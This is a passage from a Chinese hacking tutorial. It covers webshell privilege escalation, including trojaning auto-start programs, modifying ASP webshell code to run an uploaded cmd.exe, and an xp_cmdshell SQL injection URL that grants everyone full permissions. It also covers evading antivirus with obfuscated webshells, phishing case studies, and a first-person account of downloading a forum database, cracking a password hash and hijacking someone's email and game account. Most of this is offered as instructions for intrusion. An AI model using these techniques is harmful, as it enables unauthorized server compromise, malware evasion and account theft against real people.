(5)、先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件, 比如诺顿、金山、瑞星、WinRAR甚至QQ之类的,是否可以写,如果可以就修改其程序, 绑定一个批处理或者VBS,里面写入我们的木马,然后还是等待服务器重启。当重启的时我们的批处理或VBS也会被执行,那么我们它就会去下载我们的木马,进而控制服务器。
(6)、很多有经验的管理员,它会将cmd.exe、net.exe和net1.exe都给删除。那么我们得到了webshell也无法执行命令,这对我们提权是一个很大的阻碍。所以我们要把cmd.exe文件上传到服务器中去,然后调用上传的CMD来执行命令。
利用webshell提供的上传功能上传一个cmd.exe(默认情况下在WIN\system32\cmd.exe)到WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)。然后修改修改webshell找到调用cmd.exe的代码,调用代码如下所示:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI="
"
SI=SI&""
SI=SI&""
<br>SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
<br>SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar
d:\web\test\web1"
Response.Write SI
End Function
我们把它修改成以下代码:
Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI=" "
SI=SI&""
SI=SI&""
<br>SI=SI&server.createobject("wscript.shell").exec("上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall
<br>SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1 "
Response.Write SI
End Function
为了大家看得清楚把要修改的提出来就可以原来的:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobject
("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成:
SI=SI&server.createobject("wscript.shell").exec("上传的cmd.exe绝对路径 /c
"&DefCmd).stdout.readall
比如你上传到的目录是D:\web\www\cmd.exe那么就修改成:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall
那么这样,我们;就可以执行各种命令了,比如添加一个管理员等等。
(7)、这种方法适合于后台数据库是SQL Server的情况,我们要用到SQL Server的cacls及xp_cmdshell。可以提交:http://www.xxx.com/xxx.asp?id=xx;exec master.dbo.xp_cmdshell 'cacls d:\home /t /e /c /g everyone:f';-- 这样赋予了操作系统中everyone组的成员所有的权限,然后我们就可以上传文件 改他主页了!
(8)、利用本地溢出程序进行提权。在得到webshell后,我们先查看服务器上哪些目录是可执行的,然后在查找操作系统的版本以及在服务器上安装了哪些软件。在确定了这些信息后,我们就查找这些软件存在的相应的一些溢出程序,并上传到服务器的可执行目录中,接着溢出,成功的话,一下就可以得到管理员的权限。这种方法是我最为强烈推荐给大家的,不管它是那种操作系统,我们只要确定其操作系统或安装的软件中有存在溢出漏洞,那么使用溢出程序溢出是最快得到管理员权限的方法。
其实webshell的提权的方法还有非常多,这里我只给大家简单几种。方法的种类虽然多,但是他们都是为了达到可以执行相应程序、命令,进而得到更高权限的目的。所以方法虽然多,可它的核心变不了,提权方法与技巧终究还是如此。不过我还是推荐使用溢出来提权这种方法。要使用这种方法需要做两个方面的工作,一、得到一个可以执行的目录。二、确定操作系统和其安装的软件中那个存在溢出漏洞。至于更多的技巧与方法就要靠大家在平时入侵的过程不断的积累,从实战中获得经验。我们的目的就是要将服务器控制到底!
随着网页的泛滥,很多杀毒软件都已经把他们列为严厉打击的对象了。我们辛辛苦苦得到的webshell就被杀毒软件kill了岂不亏大了。所以了能够让webshell长期生存在网站中,我们必须反击,对付杀毒软件。那么我们怎么防止杀毒软件的查杀呢?有两种办法一是换一匹不会被查杀的木马,二是对木马进行加壳,让杀毒认识不了这个木马,从而达到躲过杀毒软件的查杀。
我们先来说说换木马,目前很多工具都是用于方便管理而做的,但是在管理的同时他们也能够当作木马来用,他们也能够达到与木马一样的功能。比如海洋顶端和老兵的ASP站长助手,海洋顶端目前是杀毒软件重点查杀的对象,而老兵的ASP站长助手确很少有杀毒软件地起进行查杀,但是它的功能一点也不比海洋顶端差。这是因为老兵的ASP站长助手是属于管理软件,很少有软件对其进行查杀。
第二种是加壳。其实就是对木马进行加密或变换,因为杀毒软件查杀木马是靠一些关键字,而加密或变换之后关键字就没有了,那么杀毒软件就没办法识别木马了,从而躲过杀毒软件。
对于加密和变换,我们可以采用工具也可以采用手工。这里我就介绍一下工具的使用,对于手工在后面等大家有了脚本语言基础之后在讲。对于ASP的加密,我们可以使用ASP木马免杀工具,它的操作很简单,如图2-250所示。选好木马源文件,先点“转换”,过一会儿在点“加密”就可以实现对这个ASP加密了,ASP下的加密还有很多,这里就不多介绍了,大家可以去黑客网站上下载,他们的使用方法也多相似。
图2-250 ASP木马加密工具
对于PHP木马的免杀,这里推荐一款非常好的GUI工具,如图2-251所示,只要将我们的木马代码填入源代码的输入框中,点击加密后就可以在结果区中得到加密后的PHP木马。比如这里我加密phpinfo();,那么其结果为<?php eval(base64_decode('DQpwaHBpbmZvKCk7'));?>。而且我试过了,使用这个工具加密后可以过卡巴的查杀。
图2-251 PHP加密工具
对于免杀方面,《黑客手册》做的非常好,每一个期杂志都有一个黑器免杀班的栏目,里面介绍了各种的免杀技术与技巧。对于工具的免杀我也不可能花大篇幅的讲解工具的使用,如果对面杀很感兴趣可以去下载很多免杀工具来使用同时关注《黑客手册》的黑器免杀班,那么一段时间后你的免杀技术将得到很大的提高。
在我们入侵及攻击网站的过程中,不仅仅会用到上面所讲的技术,其实还有一些技术虽然并不是那么突出,但是在很多情况中。他们仍然具有强大的发光点,下面就一一为大家讲来。
网络钓鱼(Phishing)一词,是“Fishing”和“Phone”的综合体,是常见的网络诈欺行为。该词嫁接了fishing和phone,该词起源于1996年左右,黑客起初利用电子邮件作为诱饵,盗用美国在线的帐号和密码,后来鉴于最早的黑客是用电话线作案,所以黑客们常常用Ph来取代f,就形成了今天的Phishing一词。
“网络钓鱼”攻击利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、账户用户名、口令和社保编号等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,在所有接触诈骗信息的用户中,有高达5%的人都会对这些骗局做出响应。
“网络钓鱼”的主要伎俩在于仿冒某些公司的网站或电子邮件,然后对其中的程序代码动手脚,如果使用者信以为真地按其链接和要求填入个人重要资料,资料将被传送到诈骗者手中。实际上,不法分子在实施网络诈骗的犯罪活动过程中,经常采取以上几种手法交织、配合进行,还有的通过手机短信、QQ、MSN进行各种各样的“网络钓鱼”不法活动。
(1)、发送电子邮件,以虚假信息引诱用户中圈套。 诈骗分子以垃圾邮件的形式大量发送欺诈性邮件,这些邮件多以中奖、顾问、对帐等内容引诱用户在邮件中填入金融账号和密码,或是以各种紧迫的理由要求收件人登录某网页提交用户名、密码、身份证号、信用卡号等信息,继而盗窃用户资金。 06年2月份发现的一种骗取美邦银行(Smith Barney)用户的帐号和密码的“网络钓鱼”电子邮件,该邮件利用了IE的图片映射地址欺骗漏洞,并精心设计脚本程序,用一个显示假地址的弹出窗口遮挡住了IE浏览器的地址栏,使用户无法看到此网站的真实地址。当用户使用未打补丁的Outlook打开此邮件时,状态栏显示的链接是虚假的。而用户点击链接时,实际连接的是钓鱼网站http://**.41.155.60:87/s。该网站页面酷似 Smith Barney银行网站的登陆界面,但是用户一旦输入了自己的帐号密码,这些信息就会被黑客窃取。
(2)、建立假冒网上银行、网上证券网站,骗取用户帐号密码实施盗窃。 犯罪分子建立起域名和网页内容都与真正网上银行系统、网上证券交易平台极为相似的网站,引诱用户输入账号密码等信息,进而通过真正的网上银行、网上证券系统或者伪造银行储蓄卡、证券交易卡盗窃资金;还有的利用跨站脚本,即利用合法网站服务器程序上的漏洞,在站点的某些网页中插入恶意Html代码,屏蔽住一些可以用来辨别网站真假的重要信息,利用cookies窃取用户信息。如曾出现过的某假冒银行网站,网址为http://www.1cbc.com.cn ,而真正银行网站是http://www.icbc.com.cn ,犯罪分子利用数字1和字母i非常相近的特点企图蒙蔽粗心的用户。
又如2004年7月发现的某假公司网站(网址为http://www.1enovo.com ),而真正网站http://www.lenovo.com ,诈骗者利用了小写字母l和数字1很相近的障眼法。诈骗者通过QQ散布“XX集团和XX公司联合赠送QQ币”的虚假消息,引诱用户访问。而一旦用户访问该网站,首先生成一个弹出窗口,上面显示“免费赠送QQ币”的虚假消息。而就在该弹出窗口出现的同时,恶意网站主页面在后台即通过多种IE漏洞下载病毒程序 lenovo.exe(TrojanDownloader.Rlay),并在2秒钟后自动转向到真正网站主页,用户在毫无觉察中就感染了病毒。病毒程序执行后,将下载该网站上的另一个病毒程序bbs5.exe,用来窃取用户的传奇帐号、密码和游戏装备。当用户通过QQ聊天时,还会自动发送包含恶意网址的消息。
(3)、利用虚假的电子商务进行诈骗。 此类犯罪活动往往是建立电子商务网站,或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息,犯罪分子在收到受害人的购物汇款后就销声匿迹。如 2003年,罪犯佘某建立“奇特器材网”网站,发布出售间谍器材、黑客工具等虚假信息,诱骗顾主将购货款汇入其用虚假身份在多个银行开立的帐户,然后转移钱款的案件。除少数不法分子自己建立电子商务网站外,大部分人采用在知名电子商务网站上,如“易趣”、“淘宝”、“阿里巴巴”等,发布虚假信息,以所谓“超低价”、 “免税”、“走私货”、“慈善义卖”的名义出售各种产品,或以次充好,以走私货充行货,很多人在低价的诱惑下上当受骗。网上交易多是异地交易,通常需要汇款。不法分子一般要求消费者先付部分款,再以各种理由诱骗消费者付余款或者其他各种名目的款项,得到钱款或被识破时,就立即切断与消费者的联系。
(4)、利用木马和黑客技术等手段窃取用户信息后实施盗窃活动。 木马制作者通过发送邮件或在网站中隐藏木马等方式大肆传播木马程序,当感染木马的用户进行网上交易时,木马程序即以键盘记录的方式获取用户账号和密码,并发送给指定邮箱,用户资金将受到严重威胁。如05年网上出现的盗取某银行个人网上银行帐号和密码的木马Troj_HidWebmon及其变种,它甚至可以盗取用户数字证书。又如去年出现的木马“证券大盗”,它可以通过屏幕快照将用户的网页登录界面保存为图片,并发送给指定邮箱。黑客通过对照图片中鼠标的点击位置,就很有可能破译出用户的账号和密码,从而突破软键盘密码保护技术,严重威胁股民网上证券交易安全。又如2004年3月陈某盗窃银行储户资金一案,陈通过其个人网页向访问者的计算机种植木马,进而窃取访问者的银行帐户和密码,再通过电子银行转帐实施盗窃行为。
(5)、利用用户弱口令等漏洞破解、猜测用户帐号和密码。 不法分子利用部分用户贪图方便设置弱口令的漏洞,对银行卡密码进行破解。如2004年10月,三名犯罪分子从网上搜寻某银行储蓄卡卡号,然后登陆该银行网上银行网站,尝试破解弱口令,并屡屡得手。
社会工程学和密码学在我们入侵的过程中有的时候起到非常大的作用。社会工程学(Social Engineering),一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段,取得自身利益的手法,近年来已成迅速上升甚至滥用的趋势。那么,什么算是社会工程学呢?它并不能等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为最警惕最小心的人,一样会被高明的社会工程学手段损害利益。
对于黑客爱好者来说,凯文·米特尼克的大名都听过吧,这位世界第一黑客。他当年入侵很多网站和系统的时候就曾多次使用了社会工程学,而他本人也出版了一本中文名叫《欺骗的艺术》的书,该书就是讲的社会工程学与心理学在入侵过程中的运用。光盘中已经收录了该书的英文版,如果你英语不太好可以到http://blog.sina.com.cn/u/1489904015#feeds_FEEDS_1489904015中去看中文版。
下面我就引用两篇文章来实例向大家展示黑客是如何灵活社会工程学、心理学及网络钓鱼。一篇是由Hak_BaN写的《社会工程学之网络钓鱼攻击案例分析》,另外一篇是由罗秉琨写的《Google Hack+社会工程学反击骗子》。
(1)、社会工程学之网络钓鱼攻击案例分析
社会工程学(Social Engineering),一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段,取得自身利益的手法,近年来已呈迅速上升甚至滥用的趋势。那么,什么算是社会工程学呢?它并不能等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为最警惕最小心的人,一样会被高明的社会工程学手段损害利益。
总体上来说,社会工程学就是使人们顺从你的意愿、满足你的欲望的一门艺术与学问。它并不单纯是一种控制意志的途径,但它不能帮助你掌握人们在非正常意识以外的行为,且学习与运用这门学问一点也不容易。它蕴涵了各式各样的灵活构思与各种嬗变的因素。无论任何时候,在需要套取到所需要的信息之前,社会工程学的实施者都必须:掌握大量的相关基础知识、花时间去从事资料的收集与进行必要的如交谈性质的沟通行为。与以往的入侵行为相类似,社会工程学在实施以前都是要完成很多相关的准备工作,这些准备工作甚至要比其本身还更为繁重。
社会工程学陷阱通常以交谈、欺骗、假冒或口语等方式,从合法用户那里套取用户系统的秘密,例如:用户名单、用户密码及网络结构。比如:如果抗拒不了好奇心而打开了充满诱惑字眼的邮件,邮件携带的病毒就有可能被传播。MYDOOM与Bagle都是利用社会工程学的陷阱而传播的病毒。
随着网络的发展,社会工程学走向多元化,网络钓鱼攻击、密码心理学以及一些利用社会工程学渗入目标企业或者内部得到所需要信息的大胆手法逐步多起来。社会工程学是一种与普通的欺骗/诈骗不同层次的手法。系统以及程序所带来的安全往往是可以避免得,而在人性以及心理的方面来说,社会工程学往往是一种利用人性脆弱点,贪婪等等的心理进行攻击,是防不胜防的。借此我们从现有的社会工程学攻击的手法来进行分析,借用分析来提高我们对于社会工程学的一些防范方法。
一、网络钓鱼攻击手法
网络钓鱼(Phishing)一词,是“Fishing”和“Phone”的综合体,由于黑客始祖起初是以电话作案,所以用“Ph”来取代“F”,从而创造了“Phishing”,Phishing 发音与 Fishing相同。
“网络钓鱼”攻击者利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、账户用和口令、社保编号等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,在所有接触诈骗信息的用户中,有高达5%的人都会对这些骗局做出响应。
1.网络钓鱼特点
网络钓鱼是基于人性贪婪以及容易取信他们的心理方面来进行攻击的,存在着多个特点:
(1)存在着虚假性(欺骗性)大家都已经听说过假币,利用极度模仿的手法去伪造真实货币的样貌,不管是什么角度来看都是和真实的没有什么两样,钓鱼者可以利用自己的站点去模仿被钓网站的克隆,然后结合含有近似域名的网址来加强真实程度。更有甚者会先入侵一台服务器,在服务器上面做相同的事情,让自己可以更好的脱离其中,逃避追踪以及调查。
(2)存在针对性,我们可以在APWG(Anti-Phishing Working Group)的钓鱼报告看出,通常与钓鱼者紧紧相关的网站都是一些银行、商业机构等,随着互联网飞速的发展,电子商务、网上购物已经成为了和网民息息相关的服务。庞大的网络资金流动,带动了很多的新兴行业,也带来了潜在的安全隐患。网络钓鱼就是潜在当中最严重最令人头痛的安全隐患。
反钓鱼攻击工作组(APWG)成立于2003年,致力于对付网络上的各种身份盗窃和邮件诱骗。该工作组在信息安全业界是一个优秀的工会,拥有超过1700个成员,分别来自世界各地1000多家金融服务企业、网络服务提供商、安全解决方案提供商、法律执行机构、法庭、规章机构和消费者组织。APWG的网站是www.antiphishing.org。
(3)存在着多样性,网络钓鱼一种针对人性弱点的攻击手法,钓鱼者不会千篇一律的去进行攻击,不管是网络、现实到处都存在着钓鱼式攻击的影子。钓鱼者不会局限于常用的伪造网站,虚假邮件等等的手法,钓鱼者会结合更多的便民服务,人性的贪婪去想象更多令人容易心动,容易受骗的形式去骗被钓者,从而在更短的时间内得到最好的效果。
(4)存在可识别性,网络钓鱼并不是无懈可击,更加不是说可以完完全全的没有破绽。从钓鱼者的角度出发,钓鱼者本身会利用最少的资源去构造自己的钓鱼网站,因为无法去利用真实网站一些独有的资源(例如:域名,USBKEY,数字验证等等)。所以,在伪造网站的方面,会利用近似或者类似的方法来进行欺骗,通常我们可以查看伪造网站以及根据经验去识别其真实性,当我们查看HTML源码或者是一些独有的资源时,我们就可以很容易看出虚假网站的真实性了。
数字证书就是标志网络用户身份信息的一系列数据,用来在网络通讯中识别通讯各方的身份,即要在Internet上解决“我是谁”的问题,就如同现实中我们每一个人都要拥有一张证明个人身份的身份证或驾驶执照一样,以表明我们的身份或某种资格。
数字证书是由权威公正的第三方机构即CA中心签发的,以数字证书为核心的加密技术可以对网络上传输的信息进行加密和解密、数字签名和签名验证,确保网上传递信息的机密性、完整性,以及交易实体身份的真实性,签名信息的不可否认性,从而保障网络应用的安全性。
数字证书采用公钥密码体制,即利用一对互相匹配的密钥进行加密、解密。每个用户拥有一把仅为本人所掌握的私有密钥(私钥),用它进行解密和签名;同时拥有一把公共密钥(公钥)并可以对外公开,用于加密和验证签名。当发送一份保密文件时,发送方使用接收方的公钥对数据加密,而接收方则使用自己的私钥解密,这样,信息就可以安全无误地到达目的地了,即使被第三方截获,由于没有相应的私钥,也无法进行解密。通过数字的手段保证加密过程是一个不可逆过程,即只有用私有密钥才能解密。在公开密钥密码体制中,常用的一种是RSA体制。
(5)存在结合性,我们正在使用的操作系统以及程序都会出现很多的安全隐患以及漏洞,钓鱼者会利用这些漏洞从而来进行攻击,例如:利用Internet Explorer的一些漏洞去构造连接地址,或者利用漏洞去种植间谍软件或者键盘木马等等。
2.网络钓鱼攻击剖析
(1)利用虚假的网站进行网络钓鱼式攻击
反网络钓鱼组织APWG(Anti-Phishing Working Group)最新统计指出,约有70.8%的网络欺诈是针对金融机构而来。从国内前几年的情况看大多Phishing只是被用来骗取QQ密码与游戏点卡与装备,但今年国内的众多银行已经多次被Phishing过了。我们就分析分析国内如何利用虚假网站钓鱼进行骗取QQ密码或者银行帐号信息的。
最近QQ对战平台出现了一群钓鱼“高手”,利用对战平台的悄悄话发布虚假中奖信息,致使被钓者访问虚假网站留下相关的敏感信息。我们来看看他们如何进行钓鱼攻击的,如图2-252、图2-253所示。
图2-252 虚假网站
图2-253 所要填写的信息
实际案例:
[12:17:36] 系统提示 对 **** 悄悄说:尊敬的QQ对战玩家,恭喜您,您已被QQ对战平台温馨系统随机抽选成为幸运玩家,您将获得由腾讯公司送出价值$4,577RMB的诺基亚6680时尚手机一部,请您登陆活动网站battleqq.**.cn 联系电话:013-9767*****领取您的奖品。(您的激活码DQJM)
当我们上去访问这个网站的时候,却发现我们所访问的网站与官方的网站有着一定的可识别性。从截图来看,钓鱼网站的图片以及连接都是连接过去一些与自身无关网站的地址,我们可以把这些地址视为盗链,因为要Copy一个网站只需要几个步骤就可以了。第二就是从图中我们可以看到一个PLMM指着手提电脑的那张图片,有点上网意识的朋友一看就知道是来自IT.COM.CN网站的,因为有图显示着来自网站的水印。试问以一个国内大型IM网站的实力,会不会让一个活动网站的宣传页面也需要Copy别人的?!再看看接下来的会有什么特别的注意的。直到登记中奖部分的了,从图2-253来说,可以看到所谓的官方,需要我们输入相关的个人资料以及帐号等等的信息。先抛开是否是真正的中奖的性质,如果基于钓鱼网站来说,就算不需要你输入银行的密码,也千万千万别输入任何关于你的信用卡或者是银行帐号的信息以及个人身份的信息。钓鱼者可以利用你所泄漏的帐号以及身份证号码进行密码的猜测,从而进行数次的密码碰撞,然后拿取你银行所有的钱。这样子的手法就是我们上面所说的“密码心理学”。借用官方的一句话来说:“我方并不采用QQ信息方式来通知用户中奖信息,也不会贸然让用户泄漏其自身的个人资料”。当我们在使用IM程序的时候,如果接收到这样子的信息或者是活动通知,首先应该访问官方网站,查看是否近期有该类活动。如果没有的话,请不要贸然去相信任何自认是官方的人员。最好的方法就是上官方查看客户服务电话。在没有弄清楚情况下,千万别泄漏自己的任何信息。
(2)利用虚假的邮件进行网络钓鱼式攻击
虚假邮件的网络钓鱼和虚假网站的网络钓鱼,通常都是结合使用,因为要使影响面可以得到大面积的传播,所以就必须借助E-mail进行传播。当IM开始慢慢取替E-MAIL的今天,IM成为了钓鱼者进行传播虚假信息以及进行社会工程学的战场。让我们好好看看网络钓鱼如何在邮件当中的运用。
实际案例:
某天,喜欢在网上购物的黑仔收到了一封貌似某网络购物网站寄来的帐号更新邮件,如图2-254。因为黑仔整天在此网站进行网络购物,所以没有提防该信件是否存在病毒就打开查看了。从信中黑仔得知,因为该网站的政策规定,必须要核对每个用户的真实身份,以便确认网站用户的真实身份是否有假。所以在接收到此信息的时候,请按照给予的地址访问网站,输入自身的个人信息以及网站的账号和密码。看邮件的布局以及信件内容来说,黑仔并没有发现什么问题。
图2-254 钓鱼邮件
为了更深层的确认邮件的真实性,我们必须要查看邮件的原始信息。从原始信息来看,我们可以很容易的发现,邮件的图片都是来自于哪个网站的,而且并没有什么特别之处。但是有一点令人感觉不解的是,是不是因为太过着急了?新建的Title竟然是一个与此内容不相关的题目,而且更新地址竟然是一个不知道哪里来的地址。就是这个地址令黑仔感到不解。http://66.35.***.**/.us/index.php?MfcISAPICommand=3DSignInFPP。凭着黑仔这么多年的网络经验,涉及大型银行或者是网络购物的网站来说,用户的帐号密码是关系到用户自身的财产安全,一个普普通通的地址竟然是用来更新网站用户的资料,有点不正常不像是大型网站的做法。黑仔的意思是每个金融机构的网站,在涉及敏感信息的情况都不会使用HTTP协议的,HTTP协议(Hypertext Transfer Protocol,超文本传输协议)是用于从WWW服务器传输超文本到本地浏览器的传送协议。它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示(如文本先于图形)等。这就是你为什么在浏览器中看到的网页地址都是以"http://"开头的原因。因为超文本协议的不安全性,所以都是采用HTTPS进行交互访问的。所以黑仔根据经验可以大致确定这个地址有诈,此时,我们可以致电网站的客户来确认此事真伪。
HTTPS是一个安全通信信道,它基于HTTP 开发,用于在客户计算机和服务器之间交换信息。它使用安全套接字层 (SSL)进行信息交换,简单来说它是HTTP 的安全版。而SSL就是Secure socket layer(SSL)协议,最初由Netscape企业发展,现已成为网络用来鉴别网站和网页浏览者身份,以及在浏览器使用者及网页服务器之间进行加密通讯的全球化标准。由于SSL技术已建立到所有主要的浏览器和WEB服务器程序中,因此,仅需安装数字证书,或服务器证书就可以激活服务器功能了。虚假邮件钓鱼的可识别性,总体来说对比起虚假网站来说还是比较容易识别的,因为地址的来源,以及邮件的原始信息分析,我们就可以得到邮件的真伪,而且邮件服务商自身也会帮你进行过滤的。
(3) 利用各种各样的特洛伊木马进行钓鱼式攻击
在利用虚假网站钓鱼的掩护下,很多钓鱼者都会在虚假的网站上面留下木马。这些网站只是在内容当中相似,但是并不会盗取或者诱骗用户提供信息,而是利用网站诱骗访问者下载网站组件或者是软件。利用这些虚假组件或者是软件对用户的计算机进行控制,或者利用键盘木马来盗取用户相关的帐号以及密码。防御方法其实很简单,就是安装杀毒软件以及防火墙,千万别相信网站所说的什么组件。在你不使用该网站服务的前提下,千万别下载或者安装任何的程序,避免导致主机被种植木马。
(4) 利用IM程序进行网络钓鱼式攻击
最近,连我们广州的某些电视新闻报道也报道了关于IM程序被实施网络钓鱼的案例,钓鱼者利用发布虚假信息以及结合网站进行网络钓鱼攻击。
即时消息传递,通常称为IM。是一种类似电子邮件的联机通信方式。顾名思义,主要区别是IM具有即时性,IM需要特殊的软件程序(如腾讯QQ、Windows Messenger、MSN Messenger、AOL Instant Messenger、Yahoo Messenger 等)。使用IM程序进行通信具有一些与使用电子邮件相同的安全和隐私风险,但值得一提的是,有些风险较为独特。
当用户在使用IM程序的时候,钓鱼者就会利用虚假信息欺骗用户,然后让用户在交谈的时候泄漏自身的敏感信息。
案例分析:
[14:20:47] 客户服务(1) 对我 悄悄说:
尊敬的用户,您好:现特举行幸运用户的评选活动,经过随机抽选,您的游戏帐户已经成为幸运用户号码。恭喜您!您可以获得本公司送出的奖品。请您接收到此消息后联系客服工作人员的QQ:422801957联系领取您所获得的奖品
钓鱼者 12:18:02
您好。这里是QQ客服中心。请问您是收到系统温馨消息提示的幸运用户吗?
被钓者 12:16:54
是啊
钓鱼者 12:18:42
请问您的腾讯QQ号是多少,QQ昵称叫什么?
被钓者 12:18:10
61**** ****
钓鱼者 12:22:50
请您到我们指定的中奖活动首页填写表格: http://***.***.cn。并按提示办理,或是通过客服进行填写表格。
被钓者 12:22:34
能不能使用电话进行填写啊!?我比较不想打字啊
钓鱼者 12:25:10
公司领导为了提高人工客服质量。所以此次活动是不提供任何电话的。
被钓者 12:25:11
那好吧,有什么需要填写?!
钓鱼者 12:26:42
请给予你的身份证号码 住址 出生年月以及你的联系电话
被钓者 12:25:32
地址是:******************
身份证:******************
出生年月:********
电话号码:************
钓鱼者 12:27:39
好的,你的表格已经填写完毕了,您应该清楚你中奖的事项吧?
被钓者 12:35:25
中奖5000元,但是不清楚是如何取得?
钓鱼者 12:36:54
因为本次活动是由***公司赞助,支持,奖金是他们给予您的,我们是不可以扣除奖金的。所以你可以选择网上转帐,因为***公司只接收网上转帐,实在太多用户中奖了。
被钓者 12:35:43
那好的,我给你我的帐号。
**银行帐号:**********************
钓鱼者 12:37:43
奖金会在三天之类转入您的帐号,请您在三天之后查询是否已经转帐。
从这里就可以看出,当钓鱼者拿到帐号以及你的个人信息之后,他就会利用这些信息去组合你银行帐号有可能会使用的密码,从而盗取帐号上的资金。
当你收到这些信息的时候,首先一定要理智的去判断,千万别给物质所吸引。应该去官方查看有没有相关的服务,然后应打电话去官方的客户服务部咨询之后,方可决定是否提交自身的信息。
编辑点评:网络钓鱼攻击是社会工程学当中较为常用的手法,基于人性脆弱一面进行攻击,当我们收到一些具有诱惑信息的时候,应该冷静的去面对问题,用理智的想法去判断。然后借用查看官方的信息来分析是否存在这样子的业务或活动。然后对于虚假邮件以及虚假网站借用邮件过滤工具以及一些安全网站所发布的信息来进行分别。下一期将会介绍关于社会工程学的密码心理学,如何利用收集来的个人信息来结合国人的使用密码的习惯来进行运用。记住留意下期喔^_^。
(2)、Google Hack+社会工程学反击骗子
从本文你可以学到:
1.巧妙利用Google Hack
2.社会工程学的又一大应用
今天在玩着千圣王朝(我们这里的一个传奇私服),突然有一个ID叫xwxukang的跟我说,“大哥,我这个号没有一把像样的剑,我感觉你的霸王剑不错,我想用我的麻痹戒指和你的做交换,反正我有两个麻痹,可以么?”然后和我扯了一大堆,总之想与我做一个交换,用他的麻痹戒指换我的霸王剑,当时我就乐了,感动得不得了,想不到天下竟然有这么傻的人,换我十把也行啊(编:贪便宜算不算万恶之源)。接着他说:“我的麻痹戒指没有带在身上,你先给我剑,我去存到我的保险箱里,然后取出麻痹戒指来给你。”乐晕了头的我二话没说就把我的剑给了他,心里美滋滋的,白捡了这么一个大便宜,做梦都要笑醒啊!
可我在那里等啊等啊,他怎么不回来了呢?都半个小时了。突然间我意识到我可能被骗了,于是和他聊天,但系统提示他不在线。唉~100%被骗了。5555……
但我们这些经常看《黑手》的,不能就这么着算了,得想办法把装备要过来,老虎不发威,当我病猫呢!最后再给他点颜色看看。
说干就干,但我既没有他的IP地址,又没他其他任何资料,就有一个昵称,怎么办呢?但我眉头一皱,计上心来,想到了无所不搜的Google Hack技术。于是打开Google搜索xwxukang,可惜,没什么结果。还可以百度一下嘛,呵呵,真让我给找到了,如图2-255。看来老天在惩罚我贪心的同时还不忘了给我一个去惩恶扬善的机会。
图2-255 百度的搜索结果
百度看来作本土搜索还是不错滴,xwxukang在千圣王朝的官方论坛居然还有帐号,于是登陆论坛,浏览一下他的资料,也没什么大的收获,只知道了他的信箱是xwxukang@126.com。但突然间我想到了,上次入侵千圣王朝的官方论坛的时候,发现了论坛数据库的默认地址没有更改。于是在官方论坛的地址后面加上了/data/dvbbs7.mdb,如图2-256,想不到竟然还可以下载。
图2-256 可以下载他的数据库
于是把数据库下载下来,在Dv_User表中发现了xwxukang的帐号信息,如图2-257。
图2-257 找到了xwxukang的帐号信息
不过,动网的密码不是明文,是经过MD5加密的,我把这个值拿到www.xmd5.org 中去搜破一下,不一会儿密码就出来了,如图2-258。
图2-258 破解出了它的MD5密码
根据社会工程学,大多人喜欢把用户名以及密码设成一样的,于是我把用户名xwxukang与密码2321299填入到千圣王朝游戏登陆器中,想不到却提示找不到此用户。看来还需要找到他的用户名。
就在一筹莫展的时候,突然想到了他会不会把密码设得跟信箱一样(前面提到过在论坛资料里面有他填写的信箱),于是我登陆了他的信箱 xwxukang@126.com,密码果然是2321299,成功地进去了,如图2-259。找找看看有没有什么有用的信息,在发信箱中没什么发现什么有用的东西,收件箱里也全是广告。
图2-259 他的信箱内容
里面有一个系统退信,去看看那小子写什么让人家给退回来了,如图2-260,原来是他的QQ号更改的信。
图2-260 通过邮件知道了他的QQ资料
真想不到这里面竟然能找到他的新旧两个QQ号,转念一想,他会不会用QQ号作为他的用户名呢?试试看吧。我把他的旧QQ号作为用户名(因为他的角色在游戏中已经注册很长时间了,故不可能使用他刚刚注册的QQ号作为用户名),把他的“通行密码”2321299作为密码登陆游戏,成功了。哈哈,狂喜。
最后我把我的装备取出来转移到我的帐号上,总算是物归原主啊,不容易啊。然后把他的登陆密码给改了,小小惩罚他一下,如图2-261。
图2-261修改密码成功惩罚骗子
不过,他还可以去找网管查帐号,算是给他留了一条生路,也算给他一个警告:以后不许再骗人。谁让他盗我的号来,自作自受。最后提醒大家也不要和我一样犯这样的错误,毕竟天下是没有免费的午餐的。
